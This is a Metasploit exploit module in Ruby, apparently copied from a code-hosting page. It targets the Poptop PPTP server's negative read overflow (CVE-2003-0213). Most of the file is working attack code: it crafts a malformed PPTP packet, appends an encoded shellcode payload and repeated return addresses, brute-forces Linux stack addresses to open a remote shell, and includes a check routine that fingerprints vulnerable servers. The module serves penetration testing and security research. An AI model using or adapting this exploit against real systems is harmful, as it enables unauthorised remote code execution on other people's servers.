128 lines
4.0 KiB
Ruby
128 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Brute
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Poptop Negative Read Overflow',
|
|
'Description' => %q{
|
|
This is an exploit for the Poptop negative read overflow. This will
|
|
work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
|
|
currently do not have a good way to detect Poptop versions.
|
|
|
|
The server will by default only allow 4 concurrent manager processes
|
|
(what we run our code in), so you could have a max of 4 shells at once.
|
|
|
|
Using the current method of exploitation, our socket will be closed
|
|
before we have the ability to run code, preventing the use of Findsock.
|
|
},
|
|
'Author' => 'spoonm',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2003-0213'],
|
|
['OSVDB', '3293'],
|
|
['URL', 'http://securityfocus.com/archive/1/317995'],
|
|
['URL', 'http://www.freewebs.com/blightninjas/'],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
# Payload space is dynamically determined
|
|
'MinNops' => 16,
|
|
'StackAdjustment' => -1088,
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '-find',
|
|
}
|
|
},
|
|
'SaveRegisters' => [ 'esp' ],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
'Targets' =>
|
|
[
|
|
['Linux Bruteforce',
|
|
{ 'Bruteforce' =>
|
|
{
|
|
'Start' => { 'Ret' => 0xbffffa00 },
|
|
'Stop' => { 'Ret' => 0xbffff000 },
|
|
'Step' => 0
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 9 2003'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1723)
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new("PreReturnLength", [ true, "Space before we hit the return address. Affects PayloadSpace.", 220 ]),
|
|
OptInt.new("RetLength", [ true, "Length of returns after payload.", 32 ]),
|
|
OptInt.new("ExtraSpace", [ true, "The exploit builds two protocol frames, the header frame and the control frame. " +
|
|
"ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
|
|
"If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
|
|
"(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
|
|
OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]),
|
|
OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
|
|
], self.class)
|
|
end
|
|
|
|
# Dynamic payload space calculation
|
|
def payload_space(explicit_target = nil)
|
|
datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
|
|
end
|
|
|
|
def build_packet(length)
|
|
[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
|
|
[1,0].pack('cc') +
|
|
[0].pack('n') +
|
|
[1,1,0,2600].pack('NNnn') +
|
|
datastore['Hostname'].ljust(64, "\x00") +
|
|
datastore['Vendor'].ljust(64, "\x00")
|
|
end
|
|
|
|
def check
|
|
connect
|
|
sock.put(build_packet(156))
|
|
res = sock.get_once
|
|
|
|
if res and res =~ /MoretonBay/
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
def brute_exploit(addrs)
|
|
connect
|
|
|
|
print_status("Trying #{"%.8x" % addrs['Ret']}...")
|
|
|
|
# Construct the evil length packet
|
|
packet =
|
|
build_packet(1) +
|
|
payload.encoded +
|
|
([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
|
|
|
|
sock.put(packet)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|